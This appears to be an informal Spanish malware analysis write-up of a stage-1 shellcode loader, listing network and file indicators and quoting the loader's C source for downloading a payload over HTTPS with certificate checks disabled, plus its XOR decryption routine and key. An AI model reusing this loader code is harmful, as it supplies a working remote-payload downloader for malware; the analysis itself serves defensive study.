
Análisis del cargador de shellcode de stage1 de hacking
Diagrama de flujo del código
IoC de red
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC de infección (archivos dropeados)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok, ¿qué demonios? Vamos a por ello. Loader.sln o loader.c
bien, entonces ¿el inicio y del inicio a asm? ¿qué ocurre en asm? shellcode pic (código independiente de posición). genial, ¿y esto qué hace? básicamente hará Loader(0xdeadbeef), ¿por qué? no sé por qué eligieron esa dirección, pero en esa dirección debería estar el código desempaquetado. de todos modos, sigamos y veamos qué ocurre en el depurador. Corrección: hacemos Loader(eax) y eax es una dirección IP con un archivo .dat .png)
Ahora, si seguimos el flujo, entramos en loader

Por ahora omitiremos LoadVtable, ya que es ubicuo y grande, y volveremos a él después de terminar de analizar el resto de sus capacidades. Ahora vamos a inspeccionar DownloadAndDecryptTls.
DownloadAndDecryptTls

Ahora, algo interesante que noté durante la depuración.
Es que, como puedes ver en la imagen superior y en el siguiente fragmento
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
es que lpLoaderConfig se obtiene dinámicamente. ¿Pero de dónde? Bueno, aparentemente descarga o usa internamente ese archivo .dat? ¿Y qué es ese archivo .dat? Inspeccionando el archivo comprimido
vemos otro archivo interesante, shellcode_0x95d. Si lo inspeccionamos en HxD
verás un montón de llamadas a la API y esa URL. así que básicamente este es el shellcode real :) genial, le echaremos un vistazo después de terminar con esto.
Ahora, solo para más tarde, la clave xor es 0x6281f17f. Ahora, para un breve análisis hasta el punto interesante ValidateCa. Hasta ahí no ocurre nada realmente especial en esta función; lo más interesante es la llamada a InternetOpenA, que inicializa la dll para las funciones de red. Sería interesante inspeccionarla dinámicamente para ver un truco que hicieron. Lo hacen en código C mediante
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
que es un argumento menos para la API. De todos modos, basta de charla; veamos qué ocurre en el código.
Así que en el depurador se ve así
Así que supongo que lo que ocurre aquí es que, como usa INTERNET_OPEN_TYPE_PRECONFIG, utiliza la estructura preconfigurada y lptable ya contiene la URL.
De todos modos, a continuación tenemos ValidateCA
y bien, ¿por qué hacemos esto? Simplemente determina si queremos usar https o http
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Luego hacemos una simple petición GET y descargamos el archivo desde http. Aquí no hay nada demasiado especial. Si te preguntas si hay algo especial en el código, creo que no; probablemente puedas encontrar ejemplos en internet de cómo hacer esto. ¿Cómo descarga archivos la función DownloadFile? Usando InternetReadFileExA.
Así que, de todos modos, aquí está el código
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
Ahora inspeccionemos la comprobación if de descifrado para ver si entra en la función de descifrado o no. Según mis suposiciones al experimentar, bXored será verdadero, por lo que deberíamos entrar en la función de descifrado. Desafortunadamente, nuestra suposición era incorrecta porque
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
no podremos enviar una petición a ese servidor malicioso. Ahora podría emular un servidor con frida, pero ¿para qué, si ya tenemos el payload nosotros mismos? Solo queda desensamblarlo y decidir si está cifrado o no. El descifrado también tiene este aspecto
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
que es un xor de 2 claves y dwXorkey es 0x6281f17f.
Ahora volvamos a la función Loader para resolver la última parte del cargador.
